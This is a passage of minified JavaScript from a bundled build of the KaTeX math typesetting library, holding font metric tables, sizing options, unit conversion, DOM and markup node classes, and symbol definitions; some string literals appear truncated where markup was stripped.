:[.35001,.85,0,0,.57778],91:[.35001,.85,0,0,.41667],92:[.35001,.85,0,0,.57778],93:[.35001,.85,0,0,.41667],123:[.35001,.85,0,0,.58334],125:[.35001,.85,0,0,.58334],160:[0,0,0,0,.25],710:[0,.72222,0,0,.55556],732:[0,.72222,0,0,.55556],770:[0,.72222,0,0,.55556],771:[0,.72222,0,0,.55556],8214:[-99e-5,.601,0,0,.77778],8593:[1e-5,.6,0,0,.66667],8595:[1e-5,.6,0,0,.66667],8657:[1e-5,.6,0,0,.77778],8659:[1e-5,.6,0,0,.77778],8719:[.25001,.75,0,0,.94445],8720:[.25001,.75,0,0,.94445],8721:[.25001,.75,0,0,1.05556],8730:[.35001,.85,0,0,1],8739:[-.00599,.606,0,0,.33333],8741:[-.00599,.606,0,0,.55556],8747:[.30612,.805,.19445,0,.47222],8748:[.306,.805,.19445,0,.47222],8749:[.306,.805,.19445,0,.47222],8750:[.30612,.805,.19445,0,.47222],8896:[.25001,.75,0,0,.83334],8897:[.25001,.75,0,0,.83334],8898:[.25001,.75,0,0,.83334],8899:[.25001,.75,0,0,.83334],8968:[.35001,.85,0,0,.47222],8969:[.35001,.85,0,0,.47222],8970:[.35001,.85,0,0,.47222],8971:[.35001,.85,0,0,.47222],9168:[-99e-5,.601,0,0,.66667],10216:[.35001,.85,0,0,.47222],10217:[.35001,.85,0,0,.47222],10752:[.25001,.75,0,0,1.11111],10753:[.25001,.75,0,0,1.11111],10754:[.25001,.75,0,0,1.11111],10756:[.25001,.75,0,0,.83334],10758:[.25001,.75,0,0,.83334]},"Size2-Regular":{32:[0,0,0,0,.25],40:[.65002,1.15,0,0,.59722],41:[.65002,1.15,0,0,.59722],47:[.65002,1.15,0,0,.81111],91:[.65002,1.15,0,0,.47222],92:[.65002,1.15,0,0,.81111],93:[.65002,1.15,0,0,.47222],123:[.65002,1.15,0,0,.66667],125:[.65002,1.15,0,0,.66667],160:[0,0,0,0,.25],710:[0,.75,0,0,1],732:[0,.75,0,0,1],770:[0,.75,0,0,1],771:[0,.75,0,0,1],8719:[.55001,1.05,0,0,1.27778],8720:[.55001,1.05,0,0,1.27778],8721:[.55001,1.05,0,0,1.44445],8730:[.65002,1.15,0,0,1],8747:[.86225,1.36,.44445,0,.55556],8748:[.862,1.36,.44445,0,.55556],8749:[.862,1.36,.44445,0,.55556],8750:[.86225,1.36,.44445,0,.55556],8896:[.55001,1.05,0,0,1.11111],8897:[.55001,1.05,0,0,1.11111],8898:[.55001,1.05,0,0,1.11111],8899:[.55001,1.05,0,0,1.11111],8968:[.65002,1.15,0,0,.52778],8969:[.65002,1.15,0,0,.52778],8970:[.65002,1.15,0,0,.52778],8971:[.65002,1.15,0,0,.52778],10216:[.65002,1.15,0,0,.61111],10217:[.65002,1.15,0,0,.61111],10752:[.55001,1.05,0,0,1.51112],10753:[.55001,1.05,0,0,1.51112],10754:[.55001,1.05,0,0,1.51112],10756:[.55001,1.05,0,0,1.11111],10758:[.55001,1.05,0,0,1.11111]},"Size3-Regular":{32:[0,0,0,0,.25],40:[.95003,1.45,0,0,.73611],41:[.95003,1.45,0,0,.73611],47:[.95003,1.45,0,0,1.04445],91:[.95003,1.45,0,0,.52778],92:[.95003,1.45,0,0,1.04445],93:[.95003,1.45,0,0,.52778],123:[.95003,1.45,0,0,.75],125:[.95003,1.45,0,0,.75],160:[0,0,0,0,.25],710:[0,.75,0,0,1.44445],732:[0,.75,0,0,1.44445],770:[0,.75,0,0,1.44445],771:[0,.75,0,0,1.44445],8730:[.95003,1.45,0,0,1],8968:[.95003,1.45,0,0,.58334],8969:[.95003,1.45,0,0,.58334],8970:[.95003,1.45,0,0,.58334],8971:[.95003,1.45,0,0,.58334],10216:[.95003,1.45,0,0,.75],10217:[.95003,1.45,0,0,.75]},"Size4-Regular":{32:[0,0,0,0,.25],40:[1.25003,1.75,0,0,.79167],41:[1.25003,1.75,0,0,.79167],47:[1.25003,1.75,0,0,1.27778],91:[1.25003,1.75,0,0,.58334],92:[1.25003,1.75,0,0,1.27778],93:[1.25003,1.75,0,0,.58334],123:[1.25003,1.75,0,0,.80556],125:[1.25003,1.75,0,0,.80556],160:[0,0,0,0,.25],710:[0,.825,0,0,1.8889],732:[0,.825,0,0,1.8889],770:[0,.825,0,0,1.8889],771:[0,.825,0,0,1.8889],8730:[1.25003,1.75,0,0,1],8968:[1.25003,1.75,0,0,.63889],8969:[1.25003,1.75,0,0,.63889],8970:[1.25003,1.75,0,0,.63889],8971:[1.25003,1.75,0,0,.63889],9115:[.64502,1.155,0,0,.875],9116:[1e-5,.6,0,0,.875],9117:[.64502,1.155,0,0,.875],9118:[.64502,1.155,0,0,.875],9119:[1e-5,.6,0,0,.875],9120:[.64502,1.155,0,0,.875],9121:[.64502,1.155,0,0,.66667],9122:[-99e-5,.601,0,0,.66667],9123:[.64502,1.155,0,0,.66667],9124:[.64502,1.155,0,0,.66667],9125:[-99e-5,.601,0,0,.66667],9126:[.64502,1.155,0,0,.66667],9127:[1e-5,.9,0,0,.88889],9128:[.65002,1.15,0,0,.88889],9129:[.90001,0,0,0,.88889],9130:[0,.3,0,0,.88889],9131:[1e-5,.9,0,0,.88889],9132:[.65002,1.15,0,0,.88889],9133:[.90001,0,0,0,.88889],9143:[.88502,.915,0,0,1.05556],10216:[1.25003,1.75,0,0,.80556],10217:[1.25003,1.75,0,0,.80556],57344:[-.00499,.605,0,0,1.05556],57345:[-.00499,.605,0,0,1.05556],57680:[0,.12,0,0,.45],57681:[0,.12,0,0,.45],57682:[0,.12,0,0,.45],57683:[0,.12,0,0,.45]},"Typewriter-Regular":{32:[0,0,0,0,.525],33:[0,.61111,0,0,.525],34:[0,.61111,0,0,.525],35:[0,.61111,0,0,.525],36:[.08333,.69444,0,0,.525],37:[.08333,.69444,0,0,.525],38:[0,.61111,0,0,.525],39:[0,.61111,0,0,.525],40:[.08333,.69444,0,0,.525],41:[.08333,.69444,0,0,.525],42:[0,.52083,0,0,.525],43:[-.08056,.53055,0,0,.525],44:[.13889,.125,0,0,.525],45:[-.08056,.53055,0,0,.525],46:[0,.125,0,0,.525],47:[.08333,.69444,0,0,.525],48:[0,.61111,0,0,.525],49:[0,.61111,0,0,.525],50:[0,.61111,0,0,.525],51:[0,.61111,0,0,.525],52:[0,.61111,0,0,.525],53:[0,.61111,0,0,.525],54:[0,.61111,0,0,.525],55:[0,.61111,0,0,.525],56:[0,.61111,0,0,.525],57:[0,.61111,0,0,.525],58:[0,.43056,0,0,.525],59:[.13889,.43056,0,0,.525],60:[-.05556,.55556,0,0,.525],61:[-.19549,.41562,0,0,.525],62:[-.05556,.55556,0,0,.525],63:[0,.61111,0,0,.525],64:[0,.61111,0,0,.525],65:[0,.61111,0,0,.525],66:[0,.61111,0,0,.525],67:[0,.61111,0,0,.525],68:[0,.61111,0,0,.525],69:[0,.61111,0,0,.525],70:[0,.61111,0,0,.525],71:[0,.61111,0,0,.525],72:[0,.61111,0,0,.525],73:[0,.61111,0,0,.525],74:[0,.61111,0,0,.525],75:[0,.61111,0,0,.525],76:[0,.61111,0,0,.525],77:[0,.61111,0,0,.525],78:[0,.61111,0,0,.525],79:[0,.61111,0,0,.525],80:[0,.61111,0,0,.525],81:[.13889,.61111,0,0,.525],82:[0,.61111,0,0,.525],83:[0,.61111,0,0,.525],84:[0,.61111,0,0,.525],85:[0,.61111,0,0,.525],86:[0,.61111,0,0,.525],87:[0,.61111,0,0,.525],88:[0,.61111,0,0,.525],89:[0,.61111,0,0,.525],90:[0,.61111,0,0,.525],91:[.08333,.69444,0,0,.525],92:[.08333,.69444,0,0,.525],93:[.08333,.69444,0,0,.525],94:[0,.61111,0,0,.525],95:[.09514,0,0,0,.525],96:[0,.61111,0,0,.525],97:[0,.43056,0,0,.525],98:[0,.61111,0,0,.525],99:[0,.43056,0,0,.525],100:[0,.61111,0,0,.525],101:[0,.43056,0,0,.525],102:[0,.61111,0,0,.525],103:[.22222,.43056,0,0,.525],104:[0,.61111,0,0,.525],105:[0,.61111,0,0,.525],106:[.22222,.61111,0,0,.525],107:[0,.61111,0,0,.525],108:[0,.61111,0,0,.525],109:[0,.43056,0,0,.525],110:[0,.43056,0,0,.525],111:[0,.43056,0,0,.525],112:[.22222,.43056,0,0,.525],113:[.22222,.43056,0,0,.525],114:[0,.43056,0,0,.525],115:[0,.43056,0,0,.525],116:[0,.55358,0,0,.525],117:[0,.43056,0,0,.525],118:[0,.43056,0,0,.525],119:[0,.43056,0,0,.525],120:[0,.43056,0,0,.525],121:[.22222,.43056,0,0,.525],122:[0,.43056,0,0,.525],123:[.08333,.69444,0,0,.525],124:[.08333,.69444,0,0,.525],125:[.08333,.69444,0,0,.525],126:[0,.61111,0,0,.525],127:[0,.61111,0,0,.525],160:[0,0,0,0,.525],176:[0,.61111,0,0,.525],184:[.19445,0,0,0,.525],305:[0,.43056,0,0,.525],567:[.22222,.43056,0,0,.525],711:[0,.56597,0,0,.525],713:[0,.56555,0,0,.525],714:[0,.61111,0,0,.525],715:[0,.61111,0,0,.525],728:[0,.61111,0,0,.525],730:[0,.61111,0,0,.525],770:[0,.61111,0,0,.525],771:[0,.61111,0,0,.525],776:[0,.61111,0,0,.525],915:[0,.61111,0,0,.525],916:[0,.61111,0,0,.525],920:[0,.61111,0,0,.525],923:[0,.61111,0,0,.525],926:[0,.61111,0,0,.525],928:[0,.61111,0,0,.525],931:[0,.61111,0,0,.525],933:[0,.61111,0,0,.525],934:[0,.61111,0,0,.525],936:[0,.61111,0,0,.525],937:[0,.61111,0,0,.525],8216:[0,.61111,0,0,.525],8217:[0,.61111,0,0,.525],8242:[0,.61111,0,0,.525],9251:[.11111,.21944,0,0,.525]}},o3={slant:[.25,.25,.25],space:[0,0,0],stretch:[0,0,0],shrink:[0,0,0],xHeight:[.431,.431,.431],quad:[1,1.171,1.472],extraSpace:[0,0,0],num1:[.677,.732,.925],num2:[.394,.384,.387],num3:[.444,.471,.504],denom1:[.686,.752,1.025],denom2:[.345,.344,.532],sup1:[.413,.503,.504],sup2:[.363,.431,.404],sup3:[.289,.286,.294],sub1:[.15,.143,.2],sub2:[.247,.286,.4],supDrop:[.386,.353,.494],subDrop:[.05,.071,.1],delim1:[2.39,1.7,1.98],delim2:[1.01,1.157,1.42],axisHeight:[.25,.25,.25],defaultRuleThickness:[.04,.049,.049],bigOpSpacing1:[.111,.111,.111],bigOpSpacing2:[.166,.166,.166],bigOpSpacing3:[.2,.2,.2],bigOpSpacing4:[.6,.611,.611],bigOpSpacing5:[.1,.143,.143],sqrtRuleThickness:[.04,.04,.04],ptPerEm:[10,10,10],doubleRuleSep:[.2,.2,.2],arrayRuleWidth:[.04,.04,.04],fboxsep:[.3,.3,.3],fboxrule:[.04,.04,.04]},gV={\u00C5:"A",\u00D0:"D",\u00DE:"o",\u00E5:"a",\u00F0:"d",\u00FE:"o",\u0410:"A",\u0411:"B",\u0412:"B",\u0413:"F",\u0414:"A",\u0415:"E",\u0416:"K",\u0417:"3",\u0418:"N",\u0419:"N",\u041A:"K",\u041B:"N",\u041C:"M",\u041D:"H",\u041E:"O",\u041F:"N",\u0420:"P",\u0421:"C",\u0422:"T",\u0423:"y",\u0424:"O",\u0425:"X",\u0426:"U",\u0427:"h",\u0428:"W",\u0429:"W",\u042A:"B",\u042B:"X",\u042C:"B",\u042D:"3",\u042E:"X",\u042F:"R",\u0430:"a",\u0431:"b",\u0432:"a",\u0433:"r",\u0434:"y",\u0435:"e",\u0436:"m",\u0437:"e",\u0438:"n",\u0439:"n",\u043A:"n",\u043B:"n",\u043C:"m",\u043D:"n",\u043E:"o",\u043F:"n",\u0440:"p",\u0441:"c",\u0442:"o",\u0443:"y",\u0444:"b",\u0445:"x",\u0446:"n",\u0447:"n",\u0448:"w",\u0449:"w",\u044A:"a",\u044B:"m",\u044C:"a",\u044D:"e",\u044E:"m",\u044F:"r"};o(XV,"setFontMetrics");o(lA,"getCharacterMetrics");P7={};o(xTe,"getGlobalMetrics");bTe=[[1,1,1],[2,1,1],[3,1,1],[4,2,1],[5,2,1],[6,3,1],[7,4,2],[8,6,3],[9,7,6],[10,8,7],[11,10,9]],yV=[.5,.6,.7,.8,.9,1,1.2,1.44,1.728,2.074,2.488],vV=o(function(e,r){return r.size<2?e:bTe[e-1][r.size-1]},"sizeAtStyle"),b3=class t{static{o(this,"Options")}constructor(e){this.style=void 0,this.color=void 0,this.size=void 0,this.textSize=void 0,this.phantom=void 0,this.font=void 0,this.fontFamily=void 0,this.fontWeight=void 0,this.fontShape=void 0,this.sizeMultiplier=void 0,this.maxSize=void 0,this.minRuleThickness=void 0,this._fontMetrics=void 0,this.style=e.style,this.color=e.color,this.size=e.size||t.BASESIZE,this.textSize=e.textSize||this.size,this.phantom=!!e.phantom,this.font=e.font||"",this.fontFamily=e.fontFamily||"",this.fontWeight=e.fontWeight||"",this.fontShape=e.fontShape||"",this.sizeMultiplier=yV[this.size-1],this.maxSize=e.maxSize,this.minRuleThickness=e.minRuleThickness,this._fontMetrics=void 0}extend(e){var r={style:this.style,size:this.size,textSize:this.textSize,color:this.color,phantom:this.phantom,font:this.font,fontFamily:this.fontFamily,fontWeight:this.fontWeight,fontShape:this.fontShape,maxSize:this.maxSize,minRuleThickness:this.minRuleThickness};for(var n in e)e.hasOwnProperty(n)&&(r[n]=e[n]);return new t(r)}havingStyle(e){return this.style===e?this:this.extend({style:e,size:vV(this.textSize,e)})}havingCrampedStyle(){return this.havingStyle(this.style.cramp())}havingSize(e){return this.size===e&&this.textSize===e?this:this.extend({style:this.style.text(),size:e,textSize:e,sizeMultiplier:yV[e-1]})}havingBaseStyle(e){e=e||this.style.text();var r=vV(t.BASESIZE,e);return this.size===r&&this.textSize===t.BASESIZE&&this.style===e?this:this.extend({style:e,size:r})}havingBaseSizing(){var e;switch(this.style.id){case 4:case 5:e=3;break;case 6:case 7:e=1;break;default:e=6}return this.extend({style:this.style.text(),size:e})}withColor(e){return this.extend({color:e})}withPhantom(){return this.extend({phantom:!0})}withFont(e){return this.extend({font:e})}withTextFontFamily(e){return this.extend({fontFamily:e,font:""})}withTextFontWeight(e){return this.extend({fontWeight:e,font:""})}withTextFontShape(e){return this.extend({fontShape:e,font:""})}sizingClasses(e){return e.size!==this.size?["sizing","reset-size"+e.size,"size"+this.size]:[]}baseSizingClasses(){return this.size!==t.BASESIZE?["sizing","reset-size"+this.size,"size"+t.BASESIZE]:[]}fontMetrics(){return this._fontMetrics||(this._fontMetrics=xTe(this.size)),this._fontMetrics}getColor(){return this.phantom?"transparent":this.color}};b3.BASESIZE=6;K7={pt:1,mm:7227/2540,cm:7227/254,in:72.27,bp:803/800,pc:12,dd:1238/1157,cc:14856/1157,nd:685/642,nc:1370/107,sp:1/65536,px:803/800},TTe={ex:!0,em:!0,mu:!0},jV=o(function(e){return typeof e!="string"&&(e=e.unit),e in K7||e in TTe||e==="ex"},"validUnit"),ii=o(function(e,r){var n;if(e.unit in K7)n=K7[e.unit]/r.fontMetrics().ptPerEm/r.sizeMultiplier;else if(e.unit==="mu")n=r.fontMetrics().cssEmPerMu;else{var i;if(r.style.isTight()?i=r.havingStyle(r.style.text()):i=r,e.unit==="ex")n=i.fontMetrics().xHeight;else if(e.unit==="em")n=i.fontMetrics().quad;else throw new gt("Invalid unit: '"+e.unit+"'");i!==r&&(n*=i.sizeMultiplier/r.sizeMultiplier)}return Math.min(e.number*n,r.maxSize)},"calculateSize"),St=o(function(e){return+e.toFixed(4)+"em"},"makeEm"),bh=o(function(e){return e.filter(r=>r).join(" ")},"createClass"),KV=o(function(e,r,n){if(this.classes=e||[],this.attributes={},this.height=0,this.depth=0,this.maxFontSize=0,this.style=n||{},r){r.style.isTight()&&this.classes.push("mtight");var i=r.getColor();i&&(this.style.color=i)}},"initNode"),QV=o(function(e){var r=document.createElement(e);r.className=bh(this.classes);for(var n in this.style)this.style.hasOwnProperty(n)&&(r.style[n]=this.style[n]);for(var i in this.attributes)this.attributes.hasOwnProperty(i)&&r.setAttribute(i,this.attributes[i]);for(var a=0;a/=\x00-\x1f]/,ZV=o(function(e){var r="<"+e;this.classes.length&&(r+=' class="'+er.escape(bh(this.classes))+'"');var n="";for(var i in this.style)this.style.hasOwnProperty(i)&&(n+=er.hyphenate(i)+":"+this.style[i]+";");n&&(r+=' style="'+er.escape(n)+'"');for(var a in this.attributes)if(this.attributes.hasOwnProperty(a)){if(wTe.test(a))throw new gt("Invalid attribute name '"+a+"'");r+=" "+a+'="'+er.escape(this.attributes[a])+'"'}r+=">";for(var s=0;s",r},"toMarkup"),fd=class{static{o(this,"Span")}constructor(e,r,n,i){this.children=void 0,this.attributes=void 0,this.classes=void 0,this.height=void 0,this.depth=void 0,this.width=void 0,this.maxFontSize=void 0,this.style=void 0,KV.call(this,e,n,i),this.children=r||[]}setAttribute(e,r){this.attributes[e]=r}hasClass(e){return er.contains(this.classes,e)}toNode(){return QV.call(this,"span")}toMarkup(){return ZV.call(this,"span")}},Ky=class{static{o(this,"Anchor")}constructor(e,r,n,i){this.children=void 0,this.attributes=void 0,this.classes=void 0,this.height=void 0,this.depth=void 0,this.maxFontSize=void 0,this.style=void 0,KV.call(this,r,i),this.children=n||[],this.setAttribute("href",e)}setAttribute(e,r){this.attributes[e]=r}hasClass(e){return er.contains(this.classes,e)}toNode(){return QV.call(this,"a")}toMarkup(){return ZV.call(this,"a")}},Q7=class{static{o(this,"Img")}constructor(e,r,n){this.src=void 0,this.alt=void 0,this.classes=void 0,this.height=void 0,this.depth=void 0,this.maxFontSize=void 0,this.style=void 0,this.alt=r,this.src=e,this.classes=["mord"],this.style=n}hasClass(e){return er.contains(this.classes,e)}toNode(){var e=document.createElement("img");e.src=this.src,e.alt=this.alt,e.className="mord";for(var r in this.style)this.style.hasOwnProperty(r)&&(e.style[r]=this.style[r]);return e}toMarkup(){var e=''+er.escape(this.alt)+'0&&(r=document.createElement("span"),r.style.marginRight=St(this.italic)),this.classes.length>0&&(r=r||document.createElement("span"),r.className=bh(this.classes));for(var n in this.style)this.style.hasOwnProperty(n)&&(r=r||document.createElement("span"),r.style[n]=this.style[n]);return r?(r.appendChild(e),r):e}toMarkup(){var e=!1,r="0&&(n+="margin-right:"+this.italic+"em;");for(var i in this.style)this.style.hasOwnProperty(i)&&(n+=er.hyphenate(i)+":"+this.style[i]+";");n&&(e=!0,r+=' style="'+er.escape(n)+'"');var a=er.escape(this.text);return e?(r+=">",r+=a,r+="",r):a}},dl=class{static{o(this,"SvgNode")}constructor(e,r){this.children=void 0,this.attributes=void 0,this.children=e||[],this.attributes=r||{}}toNode(){var e="http://www.w3.org/2000/svg",r=document.createElementNS(e,"svg");for(var n in this.attributes)Object.prototype.hasOwnProperty.call(this.attributes,n)&&r.setAttribute(n,this.attributes[n]);for(var i=0;i':''}},Qy=class{static{o(this,"LineNode")}constructor(e){this.attributes=void 0,this.attributes=e||{}}toNode(){var e="http://www.w3.org/2000/svg",r=document.createElementNS(e,"line");for(var n in this.attributes)Object.prototype.hasOwnProperty.call(this.attributes,n)&&r.setAttribute(n,this.attributes[n]);return r}toMarkup(){var e="","\\gt",!0);V(H,ie,Ee,"\u2208","\\in",!0);V(H,ie,Ee,"\uE020","\\@not");V(H,ie,Ee,"\u2282","\\subset",!0);V(H,ie,Ee,"\u2283","\\supset",!0);V(H,ie,Ee,"\u2286","\\subseteq",!0);V(H,ie,Ee,"\u2287","\\supseteq",!0);V(H,we,Ee,"\u2288","\\nsubseteq",!0);V(H,we,Ee,"\u2289","\\nsupseteq",!0);V(H,ie,Ee,"\u22A8","\\models");V(H,ie,Ee,"\u2190","\\leftarrow",!0);V(H,ie,Ee,"\u2264","\\le");V(H,ie,Ee,"\u2264","\\leq",!0);V(H,ie,Ee,"<","\\lt",!0);V(H,ie,Ee,"\u2192","\\rightarrow",!0);V(H,ie,Ee,"\u2192","\\to");V(H,we,Ee,"\u2271","\\ngeq",!0);V(H,we,Ee,"\u2270","\\nleq",!0);V(H,ie,mu,"\xA0","\\ ");V(H,ie,mu,"\xA0","\\space");V(H,ie,mu,"\xA0","\\nobreakspace");V(ct,ie,mu,"\xA0","\\ ");V(ct,ie,mu,"\xA0"," ");V(ct,ie,mu,"\xA0","\\space");V(ct,ie,mu,"\xA0","\\nobreakspace");V(H,ie,mu,null,"\\nobreak");V(H,ie,mu,null,"\\allowbreak");V(H,ie,A3,",",",");V(H,ie,A3,";",";");V(H,we,Ot,"\u22BC","\\barwedge",!0);V(H,we,Ot,"\u22BB","\\veebar",!0);V(H,ie,Ot,"\u2299","\\odot",!0);V(H,ie,Ot,"\u2295","\\oplus",!0);V(H,ie,Ot,"\u2297","\\otimes",!0);V(H,ie,De,"\u2202","\\partial",!0);V(H,ie,Ot,"\u2298","\\oslash",!0);V(H,we,Ot,"\u229A","\\circledcirc",!0);V(H,we,Ot,"\u22A1","\\boxdot",!0);V(H,ie,Ot,"\u25B3","\\bigtriangleup");V(H,ie,Ot,"\u25BD","\\bigtriangledown");V(H,ie,Ot,"\u2020","\\dagger");V(H,ie,Ot,"\u22C4","\\diamond");V(H,ie,Ot,"\u22C6","\\star");V(H,ie,Ot,"\u25C3","\\triangleleft");V(H,ie,Ot,"\u25B9","\\triangleright");V(H,ie,ro,"{","\\{");V(ct,ie,De,"{","\\{");V(ct,ie,De,"{","\\textbraceleft");V(H,ie,rs,"}","\\}");V(ct,ie,De,"}","\\}");V(ct,ie,De,"}","\\textbraceright");V(H,ie,ro,"{","\\lbrace");V(H,ie,rs,"}","\\rbrace");V(H,ie,ro,"[","\\lbrack",!0);V(ct,ie,De,"[","\\lbrack",!0);V(H,ie,rs,"]","\\rbrack",!0);V(ct,ie,De,"]","\\rbrack",!0);V(H,ie,ro,"(","\\lparen",!0);V(H,ie,rs,")","\\rparen",!0);V(ct,ie,De,"<","\\textless",!0);V(ct,ie,De,">","\\textgreater",!0);V(H,ie,ro,"\u230A","\\lfloor",!0);V(H,ie,rs,"\u230B","\\rfloor",!0);V(H,ie,ro,"\u2308","\\lceil",!0);V(H,ie,rs,"\u2309","\\rceil",!0);V(H,ie,De,"\\","\\backslash");V(H,ie,De,"\u2223","|");V(H,ie,De,"\u2223","\\vert");V(ct,ie,De,"|","\\textbar",!0);V(H,ie,De,"\u2225","\\|");V(H,ie,De,"\u2225","\\Vert");V(ct,ie,De,"\u2225","\\textbardbl");V(ct,ie,De,"~","\\textasciitilde");V(ct,ie,De,"\\","\\textbackslash");V(ct,ie,De,"^","\\textasciicircum");V(H,ie,Ee,"\u2191","\\uparrow",!0);V(H,ie,Ee,"\u21D1","\\Uparrow",!0);V(H,ie,Ee,"\u2193","\\downarrow",!0);V(H,ie,Ee,"\u21D3","\\Downarrow",!0);V(H,ie,Ee,"\u2195","\\updownarrow",!0);V(H,ie,Ee,"\u21D5","\\Updownarrow",!0);V(H,ie,ki,"\u2210","\\coprod");V(H,ie,ki,"\u22C1","\\bigvee");V(H,ie,ki,"\u22C0","\\bigwedge");V(H,ie,ki,"\u2A04","\\biguplus");V(H,ie,ki,"\u22C2","\\bigcap");V(H,ie,ki,"\u22C3","\\bigcup");V(H,ie,ki,"\u222B","\\int");V(H,ie,ki,"\u222B","\\intop");V(H,ie,ki,"\u222C","\\iint");V(H,ie,ki,"\u222D","\\iiint");V(H,ie,ki,"\u220F","\\prod");V(H,ie,ki,"\u2211","\\sum");V(H,ie,ki,"\u2A02","\\bigotimes");V(H,ie,ki,"\u2A01","\\bigoplus");V(H,ie,ki,"\u2A00","\\bigodot");V(H,ie,ki,"\u222E","\\oint");V(H,ie,ki,"\u222F","\\oiint");V(H,ie,ki,"\u2230","\\oiiint");V(H,ie,ki,"\u2A06","\\bigsqcup");V(H,ie,ki,"\u222B","\\smallint");V(ct,ie,S0,"\u2026","\\textellipsis");V(H,ie,S0,"\u2026","\\mathellipsis");V(ct,ie,S0,"\u2026","\\ldots",!0);V(H,ie,S0,"\u2026","\\ldots",!0);V(H,ie,S0,"\u22EF","\\@cdots",!0);V(H,ie,S0,"\u22F1","\\ddots",!0);V(H,ie,De,"\u22EE","\\varvdots");V(ct,ie,De,"\u22EE","\\varvdots");V(H,ie,Wn,"\u02CA","\\acute");V(H,ie,Wn,"\u02CB","\\grave");V(H,ie,Wn,"\xA8","\\ddot");V(H,ie,Wn,"~","\\tilde");V(H,ie,Wn,"\u02C9","\\bar");V(H,ie,Wn,"\u02D8","\\breve");V(H,ie,Wn,"\u02C7","\\check");V(H,ie,Wn,"^","\\hat");V(H,ie,Wn,"\u20D7","\\vec");V(H,ie,Wn,"\u02D9","\\dot");V(H,ie,Wn,"\u02DA","\\mathring");V(H,ie,rr,"\uE131","\\@imath");V(H,ie,rr,"\uE237","\\@jmath");V(H,ie,De,"\u0131","\u0131");V(H,ie,De,"\u0237","\u0237");V(ct,ie,De,"\u0131","\\i",!0);V(ct,ie,De,"\u0237","\\j",!0);V(ct,ie,De,"\xDF","\\ss",!0);V(ct,ie,De,"\xE6","\\ae",!0);V(ct,ie,De,"\u0153","\\oe",!0);V(ct,ie,De,"\xF8","\\o",!0);V(ct,ie,De,"\xC6","\\AE",!0);V(ct,ie,De,"\u0152","\\OE",!0);V(ct,ie,De,"\xD8","\\O",!0);V(ct,ie,Wn,"\u02CA","\\'");V(ct,ie,Wn,"\u02CB","\\`");V(ct,ie,Wn,"\u02C6","\\^");V(ct,ie,Wn,"\u02DC","\\~");V(ct,ie,Wn,"\u02C9","\\=");V(ct,ie,Wn,"\u02D8","\\u");V(ct,ie,Wn,"\u02D9","\\.");V(ct,ie,Wn,"\xB8","\\c");V(ct,ie,Wn,"\u02DA","\\r");V(ct,ie,Wn,"\u02C7","\\v");V(ct,ie,Wn,"\xA8",'\\"');V(ct,ie,Wn,"\u02DD","\\H");V(ct,ie,Wn,"\u25EF","\\textcircled");JV={"--":!0,"---":!0,"``":!0,"''":!0};V(ct,ie,De,"\u2013","--",!0);V(ct,ie,De,"\u2013","\\textendash");V(ct,ie,De,"\u2014","---",!0);V(ct,ie,De,"\u2014","\\textemdash");V(ct,ie,De,"\u2018","`",!0);V(ct,ie,De,"\u2018","\\textquoteleft");V(ct,ie,De,"\u2019","'",!0);V(ct,ie,De,"\u2019","\\textquoteright");V(ct,ie,De,"\u201C","``",!0);V(ct,ie,De,"\u201C","\\textquotedblleft");V(ct,ie,De,"\u201D","''",!0);V(ct,ie,De,"\u201D","\\textquotedblright");V(H,ie,De,"\xB0","\\degree",!0);V(ct,ie,De,"\xB0","\\degree");V(ct,ie,De,"\xB0","\\textdegree",!0);V(H,ie,De,"\xA3","\\pounds");V(H,ie,De,"\xA3","\\mathsterling",!0);V(ct,ie,De,"\xA3","\\pounds");V(ct,ie,De,"\xA3","\\textsterling",!0);V(H,we,De,"\u2720","\\maltese");V(ct,we,De,"\u2720","\\maltese");bV='0123456789/@."';for(l3=0;l30)return fl(a,h,i,r,s.concat(f));if(u){var d,p;if(u==="boldsymbol"){var m=DTe(a,i,r,s,n);d=m.fontName,p=[m.fontClass]}else l?(d=rU[u].fontName,p=[u]):(d=d3(u,r.fontWeight,r.fontShape),p=[u,r.fontWeight,r.fontShape]);if(_3(a,d,i).metrics)return fl(a,d,i,r,s.concat(p));if(JV.hasOwnProperty(a)&&d.slice(0,10)==="Typewriter"){for(var g=[],y=0;y{if(bh(t.classes)!==bh(e.classes)||t.skew!==e.skew||t.maxFontSize!==e.maxFontSize)return!1;if(t.classes.length===1){var r=t.classes[0];if(r==="mbin"||r==="mord")return!1}for(var n in t.style)if(t.style.hasOwnProperty(n)&&t.style[n]!==e.style[n])return!1;for(var i in e.style)if(e.style.hasOwnProperty(i)&&t.style[i]!==e.style[i])return!1;return!0},"canCombine"),NTe=o(t=>{for(var e=0;er&&(r=s.height),s.depth>n&&(n=s.depth),s.maxFontSize>i&&(i=s.maxFontSize)}e.height=r,e.depth=n,e.maxFontSize=i},"sizeElementFromChildren"),Ss=o(function(e,r,n,i){var a=new fd(e,r,n,i);return cA(a),a},"makeSpan"),eU=o((t,e,r,n)=>new fd(t,e,r,n),"makeSvgSpan"),MTe=o(function(e,r,n){var i=Ss([e],[],r);return i.height=Math.max(n||r.fontMetrics().defaultRuleThickness,r.minRuleThickness),i.style.borderBottomWidth=St(i.height),i.maxFontSize=1,i},"makeLineSpan"),ITe=o(function(e,r,n,i){var a=new Ky(e,r,n,i);return cA(a),a},"makeAnchor"),tU=o(function(e){var r=new hd(e);return cA(r),r},"makeFragment"),OTe=o(function(e,r){return e instanceof hd?Ss([],[e],r):e},"wrapFragment"),PTe=o(function(e){if(e.positionType==="individualShift"){for(var r=e.children,n=[r[0]],i=-r[0].shift-r[0].elem.depth,a=i,s=1;s{var r=Ss(["mspace"],[],e),n=ii(t,e);return r.style.marginRight=St(n),r},"makeGlue"),d3=o(function(e,r,n){var i="";switch(e){case"amsrm":i="AMS";break;case"textrm":i="Main";break;case"textsf":i="SansSerif";break;case"texttt":i="Typewriter";break;default:i=e}var a;return 